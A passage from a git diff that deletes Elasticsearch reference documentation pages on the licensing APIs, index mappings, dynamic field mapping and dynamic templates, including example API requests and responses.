-// TESTRESPONSE[s/"cbff45e7-c553-41f7-ae4f-9205eabd80xx"/$body.license.uid/]
-// TESTRESPONSE[s/"basic"/$body.license.type/]
-// TESTRESPONSE[s/"2018-10-20T22:05:12.332Z"/$body.license.issue_date/]
-// TESTRESPONSE[s/1540073112332/$body.license.issue_date_in_millis/]
-// TESTRESPONSE[s/"2018-11-19T22:05:12.332Z"/$body.license.expiry_date/]
-// TESTRESPONSE[s/1542665112332/$body.license.expiry_date_in_millis/]
-// TESTRESPONSE[s/1000/$body.license.max_nodes/]
-// TESTRESPONSE[s/"test"/$body.license.issued_to/]
-// TESTRESPONSE[s/"elasticsearch"/$body.license.issuer/]
diff --git a/docs/reference/licensing/get-trial-status.asciidoc b/docs/reference/licensing/get-trial-status.asciidoc
deleted file mode 100644
index d68365762bb..00000000000
--- a/docs/reference/licensing/get-trial-status.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-trial-status]]
-=== Get trial status API
-++++
-<titleabbrev>Get trial status</titleabbrev>
-++++
-
-Enables you to check the status of your trial.
-
-[discrete]
-==== Request
-
-`GET /_license/trial_status`
-
-[discrete]
-==== Description
-
-If you want to try all the subscription features, you can start a 30-day trial. 
-
-NOTE: You are allowed to initiate a trial only if your cluster has not
-already activated a trial for the current major product version. For example, if
-you have already activated a trial for v6.0, you cannot start a new trial until
-v7.0. You can, however, request an extended trial at {extendtrial}.
-
-For more information about features and subscriptions, see
-https://www.elastic.co/subscriptions.
-
-==== Authorization
-
-You must have `monitor` cluster privileges to use this API.
-For more information, see
-<<security-privileges>>.
-
-[discrete]
-==== Examples
-
-The following example checks whether you are eligible to start a trial:
-
-[source,console]
-------------------------------------------------------------
-GET /_license/trial_status
-------------------------------------------------------------
-
-Example response:
-
-[source,console-result]
-------------------------------------------------------------
-{
-  "eligible_to_start_trial": true
-}
-------------------------------------------------------------
-// TESTRESPONSE[s/"eligible_to_start_trial": true/"eligible_to_start_trial": $body.eligible_to_start_trial/]
diff --git a/docs/reference/licensing/index.asciidoc b/docs/reference/licensing/index.asciidoc
deleted file mode 100644
index a1dfd398acf..00000000000
--- a/docs/reference/licensing/index.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[role="xpack"]
-[[licensing-apis]]
-== Licensing APIs
-
-You can use the following APIs to manage your licenses:
-
-* <<delete-license>>
-* <<get-license>>
-* <<get-trial-status>>
-* <<start-trial>>
-* <<get-basic-status>>
-* <<start-basic>>
-* <<update-license>>
-
-
-include::delete-license.asciidoc[]
-include::get-license.asciidoc[]
-include::get-trial-status.asciidoc[]
-include::start-trial.asciidoc[]
-include::get-basic-status.asciidoc[]
-include::start-basic.asciidoc[]
-include::update-license.asciidoc[]
diff --git a/docs/reference/licensing/start-basic.asciidoc b/docs/reference/licensing/start-basic.asciidoc
deleted file mode 100644
index 199e917a292..00000000000
--- a/docs/reference/licensing/start-basic.asciidoc
+++ /dev/null
@@ -1,76 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[start-basic]]
-=== Start basic API
-++++
-<titleabbrev>Start basic</titleabbrev>
-++++
-
-This API starts an indefinite basic license.
-
-[discrete]
-==== Request
-
-`POST /_license/start_basic`
-
-[discrete]
-==== Description
-
-The `start basic` API enables you to initiate an indefinite basic license, which
-gives access to all the basic features. If the basic license does not support
-all of the features that are available with your current license, however, you are
-notified in the response.  You must then re-submit the API request with the
-`acknowledge` parameter set to `true`.
-
-To check the status of your basic license, use the following API:
-<<get-basic-status>>.
-
-For more information about the different types of licenses, see
-https://www.elastic.co/subscriptions.
-
-==== Authorization
-
-You must have `manage` cluster privileges to use this API.
-For more information, see
-<<security-privileges>>.
-
-[discrete]
-==== Examples
-
-The following example starts a basic license if you do not currently have a license:
-
-[source,console]
-------------------------------------------------------------
-POST /_license/start_basic
-------------------------------------------------------------
-// TEST[skip:license testing issues]
-
-Example response:
-[source,js]
-------------------------------------------------------------
-{
-  "basic_was_started": true,
-  "acknowledged": true
-}
-------------------------------------------------------------
-// NOTCONSOLE
-
-The following example starts a basic license if you currently have a license with more
-features than a basic license. As you are losing features, you must pass the acknowledge
-parameter:
-
-[source,console]
-------------------------------------------------------------
-POST /_license/start_basic?acknowledge=true
-------------------------------------------------------------
-// TEST[skip:license testing issues]
-
-Example response:
-[source,js]
-------------------------------------------------------------
-{
-  "basic_was_started": true,
-  "acknowledged": true
-}
-------------------------------------------------------------
-// NOTCONSOLE
\ No newline at end of file
diff --git a/docs/reference/licensing/start-trial.asciidoc b/docs/reference/licensing/start-trial.asciidoc
deleted file mode 100644
index ef3bd93410b..00000000000
--- a/docs/reference/licensing/start-trial.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[start-trial]]
-=== Start trial API
-++++
-<titleabbrev>Start trial</titleabbrev>
-++++
-
-Starts a 30-day trial.
-
-[discrete]
-==== Request
-
-`POST /_license/start_trial`
-
-[discrete]
-==== Description
-
-The `start trial` API enables you to start a 30-day trial, which gives access to
-all subscription features.
-
-NOTE: You are allowed to initiate a trial only if your cluster has not already
-activated a trial for the current major product version. For example, if you
-have already activated a trial for v6.0, you cannot start a new trial until v7.0.
-You can, however, request an extended trial at {extendtrial}.
-
-To check the status of your trial, use <<get-trial-status>>. 
-
-For more information about features and subscriptions, see
-https://www.elastic.co/subscriptions.
-
-==== Authorization
-
-You must have `manage` cluster privileges to use this API.
-For more information, see
-<<security-privileges>>.
-
-[discrete]
-==== Examples
-
-The following example starts a 30-day trial. The acknowledge parameter is
-required as you are initiating a license that will expire.
-
-[source,console]
-------------------------------------------------------------
-POST /_license/start_trial?acknowledge=true
-------------------------------------------------------------
-// TEST[skip:license testing issues]
-
-Example response:
-[source,js]
-------------------------------------------------------------
-{
-  "trial_was_started": true,
-  "acknowledged": true
-}
-------------------------------------------------------------
-// NOTCONSOLE
\ No newline at end of file
diff --git a/docs/reference/licensing/update-license.asciidoc b/docs/reference/licensing/update-license.asciidoc
deleted file mode 100644
index 823f564331d..00000000000
--- a/docs/reference/licensing/update-license.asciidoc
+++ /dev/null
@@ -1,166 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[update-license]]
-=== Update license API
-++++
-<titleabbrev>Update license</titleabbrev>
-++++
-
-Updates the license for your {es} cluster.
-
-[[update-license-api-request]]
-==== {api-request-title}
-
-`PUT _license`
-
-`POST _license`
-
-[[update-license-api-prereqs]]
-==== {api-prereq-title}
-
-If {es} {security-features} are enabled, you need `manage` cluster privileges to
-install the license.
-
-If {es} {security-features} are enabled and you are installing a gold or higher
-license, you must enable TLS on the transport networking layer before you
-install the license. See <<configuring-tls>>.
-
-[[update-license-api-desc]]
-==== {api-description-title}
-
-You can update your license at runtime without shutting down your nodes. License
-updates take effect immediately. If the license you are installing does not
-support all of the features that were available with your previous license,
-however, you are notified in the response. You must then re-submit the API
-request with the `acknowledge` parameter set to `true`.
-
-For more information about the different types of licenses, see
-https://www.elastic.co/subscriptions.
-
-[[update-license-api-query-params]]
-==== {api-query-parms-title}
-
-`acknowledge`::
-  (Optional, Boolean)
-  Specifies whether you acknowledge the license changes. The default
-  value is `false`.
-
-[[update-license-api-request-body]]
-==== {api-request-body-title}
-
-`licenses`::
-  (Required, array)
-  A sequence of one or more JSON documents containing the license information.
-
-[[update-license-api-example]]
-==== {api-examples-title}
-
-The following example updates to a basic license:
-
-[source,console]
-------------------------------------------------------------
-PUT _license
-{
-  "licenses": [
-    {
-      "uid":"893361dc-9749-4997-93cb-802e3d7fa4xx",
-      "type":"basic",
-      "issue_date_in_millis":1411948800000,
-      "expiry_date_in_millis":1914278399999,
-      "max_nodes":1,
-      "issued_to":"issuedTo",
-      "issuer":"issuer",
-      "signature":"xx"
-    }
-    ]
-}
-------------------------------------------------------------
-// TEST[skip:license testing issues]
-
-NOTE: These values are invalid; you must substitute the appropriate content
-from your license file.
-
-You can also install your license file using a `curl` command. Be sure to add
-`@` before the license file path to instruct curl to treat it as an input file.
-
-[source,shell]
-------------------------------------------------------------
-curl -XPUT -u <user> 'http://<host>:<port>/_license' -H "Content-Type: application/json" -d @license.json
-------------------------------------------------------------
-// NOTCONSOLE
-
-On Windows, use the following command:
-
-[source,shell]
-------------------------------------------------------------
-Invoke-WebRequest -uri http://<host>:<port>/_license -Credential elastic -Method Put -ContentType "application/json" -InFile .\license.json
-------------------------------------------------------------
-
-In these examples,
-
-* `<user>` is a user ID with the appropriate authority.
-* `<host>` is the hostname of any node in the {es} cluster  (`localhost` if
-  executing locally)
-* `<port>` is the http port (defaults to `9200`)
-* `license.json` is the license JSON file
-
-NOTE:  If your {es} node has SSL enabled on the HTTP interface, you must
-  start your URL with `https://`
-
-If you previously had a license with more features than the basic license, you
-receive the following response:
-
-[source,js]
-------------------------------------------------------------
-  {
-  "acknowledged": false,
-  "license_status": "valid",
-  "acknowledge": {
-    "message": """This license update requires acknowledgement. To acknowledge the license, please read the following messages and update the license again, this time with the "acknowledge=true" parameter:""",
-    "watcher": [
-      "Watcher will be disabled"
-    ],
-    "logstash": [
-      "Logstash will no longer poll for centrally-managed pipelines"
-    ],
-    "security": [
-      "The following X-Pack security functionality will be disabled: ..." ]
-    }
-}
-------------------------------------------------------------
-// NOTCONSOLE
-
-To complete the update, you must re-submit the API request and set the
-`acknowledge` parameter to `true`. For example:
-
-[source,console]
-------------------------------------------------------------
-PUT _license?acknowledge=true
-{
-  "licenses": [
-    {
-      "uid":"893361dc-9749-4997-93cb-802e3d7fa4xx",
-      "type":"basic",
-      "issue_date_in_millis":1411948800000,
-      "expiry_date_in_millis":1914278399999,
-      "max_nodes":1,
-      "issued_to":"issuedTo",
-      "issuer":"issuer",
-      "signature":"xx"
-    }
-    ]
-}
-------------------------------------------------------------
-// TEST[skip:license testing issues]
-
-Alternatively:
-
-[source,sh]
-------------------------------------------------------------
-curl -XPUT -u elastic 'http://<host>:<port>/_license?acknowledge=true' -H "Content-Type: application/json" -d @license.json
-------------------------------------------------------------
-// NOTCONSOLE
-
-For more information about the features that are disabled when your license
-expires, see
-{kibana-ref}/managing-licenses.html#license-expiration[License expiration].
diff --git a/docs/reference/links.asciidoc b/docs/reference/links.asciidoc
deleted file mode 100644
index 11b6629d867..00000000000
--- a/docs/reference/links.asciidoc
+++ /dev/null
@@ -1,4 +0,0 @@
-// These attributes define common links in the Elasticsearch Reference
-
-:ml-docs-setup:            {ml-docs}/setup.html[Set up {ml-features}]
-:ml-docs-setup-privileges: {ml-docs}/setup.html#setup-privileges[{ml-cap} security privileges]
diff --git a/docs/reference/mapping.asciidoc b/docs/reference/mapping.asciidoc
deleted file mode 100644
index e146b1194f6..00000000000
--- a/docs/reference/mapping.asciidoc
+++ /dev/null
@@ -1,264 +0,0 @@
-[[mapping]]
-= Mapping
-
-[partintro]
---
-
-Mapping is the process of defining how a document, and the fields it contains,
-are stored and indexed. For instance, use mappings to define:
-
-* which string fields should be treated as full text fields.
-* which fields contain numbers, dates, or geolocations.
-* the <<mapping-date-format,format>> of date values.
-* custom rules to control the mapping for
-  <<dynamic-mapping,dynamically added fields>>.
-
-A mapping definition has:
-
-<<mapping-fields,Metadata fields>>::
-
-Metadata fields are used to customize how a document's associated metadata is
-treated. Examples of metadata fields include the document's
-<<mapping-index-field,`_index`>>, <<mapping-id-field,`_id`>>, and
-<<mapping-source-field,`_source`>> fields.
-
-<<mapping-types,Fields>>::
-
-A mapping contains a list of fields or `properties` pertinent to the
-document. Each field has its own <<mapping-types, data type>>.
-
-NOTE: Before 7.0.0, the 'mappings' definition used to include a type name.
-For more details, please see <<removal-of-types>>.
-
-[[mapping-limit-settings]]
-[discrete]
-=== Settings to prevent mappings explosion
-
-Defining too many fields in an index can lead to a
-mapping explosion, which can cause out of memory errors and difficult
-situations to recover from.
-
-Consider a situation where every new document inserted
-introduces new fields, such as with <<dynamic-mapping,dynamic mapping>>.
-Each new field is added to the index mapping, which can become a
-problem as the mapping grows.
-
-Use the following settings to limit the number of field mappings (created manually or dynamically) and prevent documents from causing a mapping explosion:
-
-`index.mapping.total_fields.limit`::
-    The maximum number of fields in an index. Field and object mappings, as well as
-    field aliases count towards this limit. The default value is `1000`.
-+
-[IMPORTANT]
-====
-The limit is in place to prevent mappings and searches from becoming too
-large. Higher values can lead to performance degradations and memory issues,
-especially in clusters with a high load or few resources.
-
-If you increase this setting, we recommend you also increase the
-<<search-settings,`indices.query.bool.max_clause_count`>> setting, which
-limits the maximum number of <<query-dsl-bool-query,boolean clauses>> in a query.
-====
-+
-[TIP]
-====
-If your field mappings contain a large, arbitrary set of keys, consider using the <<flattened,flattened>> data type.
-====
-
-`index.mapping.depth.limit`::
-    The maximum depth for a field, which is measured as the number of inner
-    objects. For instance, if all fields are defined at the root object level,
-    then the depth is `1`. If there is one object mapping, then the depth is
-    `2`, etc. Default is `20`.
-
-// tag::nested-fields-limit[]
-`index.mapping.nested_fields.limit`::
-    The maximum number of distinct `nested` mappings in an index. The `nested` type should only be used in special cases, when arrays of objects need to be queried independently of each other. To safeguard against poorly designed mappings, this setting
-    limits the number of unique `nested` types per index. Default is `50`.
-// end::nested-fields-limit[]
-
-// tag::nested-objects-limit[]
-`index.mapping.nested_objects.limit`::
-    The maximum number of nested JSON objects that a single document can contain across all
-    `nested` types. This limit helps to prevent out of memory errors when a document contains too many nested
-    objects. Default is `10000`.
-// end::nested-objects-limit[]
-
-`index.mapping.field_name_length.limit`::
-    Setting for the maximum length of a field name. This setting isn't really something that addresses
-    mappings explosion but might still be useful if you want to limit the field length.
-    It usually shouldn't be necessary to set this setting. The default is okay
-    unless a user starts to add a huge number of fields with really long names. Default is
-    `Long.MAX_VALUE` (no limit).
-
-[discrete]
-== Dynamic mapping
-
-Fields and mapping types do not need to be defined before being used. Thanks
-to _dynamic mapping_, new field names will be added automatically, just by
-indexing a document. New fields can be added both to the top-level mapping
-type, and to inner <<object,`object`>>  and <<nested,`nested`>> fields.
-
-The <<dynamic-mapping,dynamic mapping>> rules can be configured to customise
-the mapping that is used for new fields.
-
-[discrete]
-== Explicit mappings
-
-You know more about your data than Elasticsearch can guess, so while dynamic
-mapping can be useful to get started, at some point you will want to specify
-your own explicit mappings.
-
-You can create field mappings when you <<create-mapping,create an index>> and
-<<add-field-mapping,add fields to an existing index>>.
-
-[discrete]
-[[create-mapping]]
-== Create an index with an explicit mapping
-
-You can use the <<indices-create-index,create index>> API to create a new index
-with an explicit mapping.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "age":    { "type": "integer" },  <1>
-      "email":  { "type": "keyword"  }, <2>
-      "name":   { "type": "text"  }     <3>
-    }
-  }
-}
-----
-
-<1> Creates `age`, an <<number,`integer`>> field
-<2> Creates `email`, a <<keyword,`keyword`>> field
-<3> Creates `name`, a <<text,`text`>> field
-
-[discrete]
-[[add-field-mapping]]
-== Add a field to an existing mapping
-
-You can use the <<indices-put-mapping, put mapping>> API to add one or more new
-fields to an existing index.
-
-The following example adds `employee-id`, a `keyword` field with an
-<<mapping-index,`index`>> mapping parameter value of `false`. This means values
-for the `employee-id` field are stored but not indexed or available for search.
-
-[source,console]
-----
-PUT /my-index-000001/_mapping
-{
-  "properties": {
-    "employee-id": {
-      "type": "keyword",
-      "index": false
-    }
-  }
-}
-----
-// TEST[continued]
-
-[discrete]
-[[update-mapping]]
-=== Update the mapping of a field
-
-include::{es-repo-dir}/indices/put-mapping.asciidoc[tag=change-field-mapping]
-
-include::{es-repo-dir}/indices/put-mapping.asciidoc[tag=rename-field]
-
-[discrete]
-[[view-mapping]]
-== View the mapping of an index
-
-You can use the <<indices-get-mapping, get mapping>> API to view the mapping of
-an existing index.
-
-[source,console]
-----
-GET /my-index-000001/_mapping
-----
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "my-index-000001" : {
-    "mappings" : {
-      "properties" : {
-        "age" : {
-          "type" : "integer"
-        },
-        "email" : {
-          "type" : "keyword"
-        },
-        "employee-id" : {
-          "type" : "keyword",
-          "index" : false
-        },
-        "name" : {
-          "type" : "text"
-        }
-      }
-    }
-  }
-}
-----
-
-
-[discrete]
-[[view-field-mapping]]
-== View the mapping of specific fields
-
-If you only want to view the mapping of one or more specific fields, you can use
-the <<indices-get-field-mapping, get field mapping>> API.
-
-This is useful if you don't need the complete mapping of an index or your index
-contains a large number of fields.
-
-The following request retrieves the mapping for the `employee-id` field.
-
-[source,console]
-----
-GET /my-index-000001/_mapping/field/employee-id
-----
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "my-index-000001" : {
-    "mappings" : {
-      "employee-id" : {
-        "full_name" : "employee-id",
-        "mapping" : {
-          "employee-id" : {
-            "type" : "keyword",
-            "index" : false
-          }
-        }
-      }
-    }
-  }
-}
-
-----
-
---
-
-include::mapping/removal_of_types.asciidoc[]
-
-include::mapping/types.asciidoc[]
-
-include::mapping/fields.asciidoc[]
-
-include::mapping/params.asciidoc[]
-
-include::mapping/dynamic-mapping.asciidoc[]
diff --git a/docs/reference/mapping/dynamic-mapping.asciidoc b/docs/reference/mapping/dynamic-mapping.asciidoc
deleted file mode 100644
index 54d373e1e29..00000000000
--- a/docs/reference/mapping/dynamic-mapping.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
-[[dynamic-mapping]]
-== Dynamic Mapping
-
-One of the most important features of Elasticsearch is that it tries to get
-out of your way and let you start exploring your data as quickly as possible.
-To index a document, you don't have to first create an index, define a mapping
-type, and define your fields -- you can just index a document and the index,
-type, and fields will spring to life automatically:
-
-[source,console]
---------------------------------------------------
-PUT data/_doc/1 <1>
-{ "count": 5 }
---------------------------------------------------
-
-<1> Creates the `data` index, the `_doc` mapping type, and a field
-    called `count` with data type `long`.
-
-The automatic detection and addition of new fields is called
-_dynamic mapping_. The dynamic mapping rules can be customised to suit your
-purposes with:
-
-<<dynamic-field-mapping,Dynamic field mappings>>::
-
-    The rules governing dynamic field detection.
-
-<<dynamic-templates,Dynamic templates>>::
-
-    Custom rules to configure the mapping for dynamically added fields.
-
-TIP: <<index-templates,Index templates>> allow you to configure the default
-mappings, settings and aliases for new indices, whether created
-automatically or explicitly.
-
-include::dynamic/field-mapping.asciidoc[]
-
-include::dynamic/templates.asciidoc[]
-
diff --git a/docs/reference/mapping/dynamic/field-mapping.asciidoc b/docs/reference/mapping/dynamic/field-mapping.asciidoc
deleted file mode 100644
index c1652baf2d2..00000000000
--- a/docs/reference/mapping/dynamic/field-mapping.asciidoc
+++ /dev/null
@@ -1,132 +0,0 @@
-[[dynamic-field-mapping]]
-=== Dynamic field mapping
-
-By default, when a previously unseen field is found in a document,
-Elasticsearch will add the new field to the type mapping.   This behaviour can
-be disabled, both at the document and at the <<object,`object`>>  level, by
-setting the <<dynamic,`dynamic`>> parameter to `false` (to ignore new fields) or to `strict` (to throw
-an exception if an unknown field is encountered).
-
-Assuming `dynamic` field mapping is enabled, some simple rules are used to
-determine which data type the field should have:
-
-[horizontal]
-*JSON data type*::                   *Elasticsearch data type*
-
-`null`::                            No field is added.
-`true` or `false`::                 <<boolean,`boolean`>> field
-floating{nbsp}point{nbsp}number::   <<number,`float`>> field
-integer::                           <<number,`long`>> field
-object::                            <<object,`object`>> field
-array::                             Depends on the first non-`null` value in the array.
-string::                            Either a <<date,`date`>> field
-                                        (if the value passes <<date-detection,date detection>>),
-                                    a <<number,`double`>> or <<number,`long`>> field
-                                        (if the value passes <<numeric-detection,numeric detection>>)
-                                    or a <<text,`text`>> field, with a <<keyword,`keyword`>> sub-field.
-
-These are the only <<mapping-types,field data types>> that are dynamically
-detected.  All other data types must be mapped explicitly.
-
-Besides the options listed below, dynamic field mapping rules can be further
-customised with <<dynamic-templates,`dynamic_templates`>>.
-
-[[date-detection]]
-==== Date detection
-
-If `date_detection` is enabled (default), then new string fields are checked
-to see whether their contents match any of the date patterns specified in
-`dynamic_date_formats`.  If a match is found, a new <<date,`date`>> field is
-added with the corresponding format.
-
-The default value for `dynamic_date_formats` is:
-
-&#91; <<strict-date-time,`"strict_date_optional_time"`>>,`"yyyy/MM/dd HH:mm:ss Z||yyyy/MM/dd Z"`]
-
-For example:
-
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "create_date": "2015/09/02"
-}
-
-GET my-index-000001/_mapping <1>
---------------------------------------------------
-
-<1> The `create_date` field has been added as a <<date,`date`>>
-    field with the <<mapping-date-format,`format`>>: +
-    `"yyyy/MM/dd HH:mm:ss Z||yyyy/MM/dd Z"`.
-
-===== Disabling date detection
-
-Dynamic date detection can be disabled by setting `date_detection` to `false`:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "date_detection": false
-  }
-}
-
-PUT my-index-000001/_doc/1 <1>
-{
-  "create": "2015/09/02"
-}
---------------------------------------------------
-
-<1> The `create_date` field has been added as a <<text,`text`>> field.
-
-===== Customising detected date formats
-
-Alternatively, the `dynamic_date_formats` can be customised to support your
-own <<mapping-date-format,date formats>>:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_date_formats": ["MM/dd/yyyy"]
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "create_date": "09/25/2015"
-}
---------------------------------------------------
-
-
-[[numeric-detection]]
-==== Numeric detection
-
-While JSON has support for native floating point and integer data types, some
-applications or languages may sometimes render numbers as strings. Usually the
-correct solution is to map these fields explicitly, but numeric detection
-(which is disabled by default) can be enabled to do this automatically:
-
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "numeric_detection": true
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "my_float":   "1.0", <1>
-  "my_integer": "1" <2>
-}
---------------------------------------------------
-
-<1> The `my_float` field is added as a <<number,`float`>> field.
-<2> The `my_integer` field is added as a <<number,`long`>> field.
-
diff --git a/docs/reference/mapping/dynamic/templates.asciidoc b/docs/reference/mapping/dynamic/templates.asciidoc
deleted file mode 100644
index 83b7dd65376..00000000000
--- a/docs/reference/mapping/dynamic/templates.asciidoc
+++ /dev/null
@@ -1,426 +0,0 @@
-[[dynamic-templates]]
-=== Dynamic templates
-
-Dynamic templates allow you to define custom mappings that can be applied to
-dynamically added fields based on:
-
-* the <<dynamic-mapping,data type>> detected by Elasticsearch, with <<match-mapping-type,`match_mapping_type`>>.
-* the name of the field, with <<match-unmatch,`match` and `unmatch`>> or <<match-pattern,`match_pattern`>>.
-* the full dotted path to the field, with <<path-match-unmatch,`path_match` and `path_unmatch`>>.
-
-The original field name `{name}` and the detected data type
-`{dynamic_type}` <<template-variables,template variables>> can be used in
-the mapping specification as placeholders.
-
-IMPORTANT: Dynamic field mappings are only added when a field contains a
-concrete value -- not `null` or an empty array. This means that if the
-`null_value` option is used in a `dynamic_template`, it will only be applied
-after the first document with a concrete value for the field has been
-indexed.
-
-Dynamic templates are specified as an array of named objects:
-
-[source,js]
---------------------------------------------------
-  "dynamic_templates": [
-    {
-      "my_template_name": { <1>
-        ...  match conditions ... <2>
-        "mapping": { ... } <3>
-      }
-    },
-    ...
-  ]
---------------------------------------------------
-// NOTCONSOLE
-<1> The template name can be any string value.
-<2> The match conditions can include any of : `match_mapping_type`, `match`, `match_pattern`, `unmatch`, `path_match`, `path_unmatch`.
-<3> The mapping that the matched field should use.
-
-If a provided mapping contains an invalid mapping snippet, a validation error
-is returned. Validation occurs when applying the dynamic template at index time,
-and, in most cases, when the dynamic template is updated. Providing an invalid mapping
-snippet may cause the update or validation of a dynamic template to fail under certain conditions:
-
-* If no `match_mapping_type` has been specified but the template is valid for at least one predefined mapping type,
-  the mapping snippet is considered valid. However, a validation error is returned at index time if a field matching
-  the template is indexed as a different type. For example, configuring a dynamic template with no `match_mapping_type`
-  is considered valid as string type, but if a field matching the dynamic template is indexed as a long, a validation
-  error is returned at index time.
-
-* If the `{name}` placeholder is used in the mapping snippet, validation is skipped when updating the dynamic
-  template. This is because the field name is unknown at that time. Instead, validation occurs when the template is applied
-  at index time.
-
-Templates are processed in order -- the first matching template wins. When
-putting new dynamic templates through the <<indices-put-mapping, put mapping>> API,
-all existing templates are overwritten. This allows for dynamic templates to be
-reordered or deleted after they were initially added.
-
-[[match-mapping-type]]
-==== `match_mapping_type`
-
-The `match_mapping_type` is the data type detected by the JSON parser. Since
-JSON doesn't distinguish a `long` from an `integer` or a `double` from
-a `float`, it will always choose the wider data type, i.e. `long` for integers
-and `double` for floating-point numbers.
-
-The following data types may be automatically detected:
-
- - `boolean` when `true` or `false` are encountered.
- - `date` when <<date-detection,date detection>> is enabled and a string matching
-   any of the configured date formats is found.
- - `double` for numbers with a decimal part.
- - `long` for numbers without a decimal part.
- - `object` for objects, also called hashes.
- - `string` for character strings.
-
-`*` may also be used in order to match all data types.
-
-For example, if we wanted to map all integer fields as `integer` instead of
-`long`, and all `string` fields as both `text` and `keyword`, we
-could use the following template:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "integers": {
-          "match_mapping_type": "long",
-          "mapping": {
-            "type": "integer"
-          }
-        }
-      },
-      {
-        "strings": {
-          "match_mapping_type": "string",
-          "mapping": {
-            "type": "text",
-            "fields": {
-              "raw": {
-                "type":  "keyword",
-                "ignore_above": 256
-              }
-            }
-          }
-        }
-      }
-    ]
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "my_integer": 5, <1>
-  "my_string": "Some string" <2>
-}
---------------------------------------------------
-
-<1> The `my_integer` field is mapped as an `integer`.
-<2> The `my_string` field is mapped as a `text`, with a `keyword` <<multi-fields,multi field>>.
-
-
-[[match-unmatch]]
-==== `match` and `unmatch`
-
-The `match` parameter uses a pattern to match on the field name, while
-`unmatch` uses a pattern to exclude fields matched by `match`.
-
-The following example matches all `string` fields whose name starts with
-`long_` (except for those which end with `_text`) and maps them as `long`
-fields:
-
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "longs_as_strings": {
-          "match_mapping_type": "string",
-          "match":   "long_*",
-          "unmatch": "*_text",
-          "mapping": {
-            "type": "long"
-          }
-        }
-      }
-    ]
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "long_num": "5", <1>
-  "long_text": "foo" <2>
-}
---------------------------------------------------
-
-<1> The `long_num` field is mapped as a `long`.
-<2> The `long_text` field uses the default `string` mapping.
-
-[[match-pattern]]
-==== `match_pattern`
-
-The `match_pattern` parameter adjusts the behavior of the `match` parameter
-such that it supports full Java regular expression matching on the field name
-instead of simple wildcards, for instance:
-
-[source,js]
---------------------------------------------------
-  "match_pattern": "regex",
-  "match": "^profit_\d+$"
---------------------------------------------------
-// NOTCONSOLE
-
-[[path-match-unmatch]]
-==== `path_match` and `path_unmatch`
-
-The `path_match` and `path_unmatch` parameters work in the same way as `match`
-and `unmatch`, but operate on the full dotted path to the field, not just the
-final name, e.g. `some_object.*.some_field`.
-
-This example copies the values of any fields in the `name` object to the
-top-level `full_name` field, except for the `middle` field:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "full_name": {
-          "path_match":   "name.*",
-          "path_unmatch": "*.middle",
-          "mapping": {
-            "type":       "text",
-            "copy_to":    "full_name"
-          }
-        }
-      }
-    ]
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "name": {
-    "first":  "John",
-    "middle": "Winston",
-    "last":   "Lennon"
-  }
-}
---------------------------------------------------
-
-Note that the `path_match` and `path_unmatch` parameters match on object paths
-in addition to leaf fields. As an example, indexing the following document will
-result in an error because the `path_match` setting also matches the object
-field `name.title`, which can't be mapped as text:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/2
-{
-  "name": {
-    "first":  "Paul",
-    "last":   "McCartney",
-    "title": {
-      "value": "Sir",
-      "category": "order of chivalry"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[catch:bad_request]
-
-[[template-variables]]
-==== `{name}` and `{dynamic_type}`
-
-The `{name}` and `{dynamic_type}` placeholders are replaced in the `mapping`
-with the field name and detected dynamic type.  The following example sets all
-string fields to use an <<analyzer,`analyzer`>> with the same name as the
-field, and disables <<doc-values,`doc_values`>> for all non-string fields:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "named_analyzers": {
-          "match_mapping_type": "string",
-          "match": "*",
-          "mapping": {
-            "type": "text",
-            "analyzer": "{name}"
-          }
-        }
-      },
-      {
-        "no_doc_values": {
-          "match_mapping_type":"*",
-          "mapping": {
-            "type": "{dynamic_type}",
-            "doc_values": false
-          }
-        }
-      }
-    ]
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "english": "Some English text", <1>
-  "count":   5 <2>
-}
---------------------------------------------------
-// TEST[warning:Parameter [doc_values] has no effect on type [text] and will be removed in future]
-
-<1> The `english` field is mapped as a `string` field with the `english` analyzer.
-<2> The `count` field is mapped as a `long` field with `doc_values` disabled.
-
-[[template-examples]]
-==== Template examples
-
-Here are some examples of potentially useful dynamic templates:
-
-===== Structured search
-
-By default Elasticsearch will map string fields as a `text` field with a sub
-`keyword` field. However if you are only indexing structured content and not
-interested in full text search, you can make Elasticsearch map your fields
-only as `keyword`s. Note that this means that in order to search those fields,
-you will have to search on the exact same value that was indexed.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "strings_as_keywords": {
-          "match_mapping_type": "string",
-          "mapping": {
-            "type": "keyword"
-          }
-        }
-      }
-    ]
-  }
-}
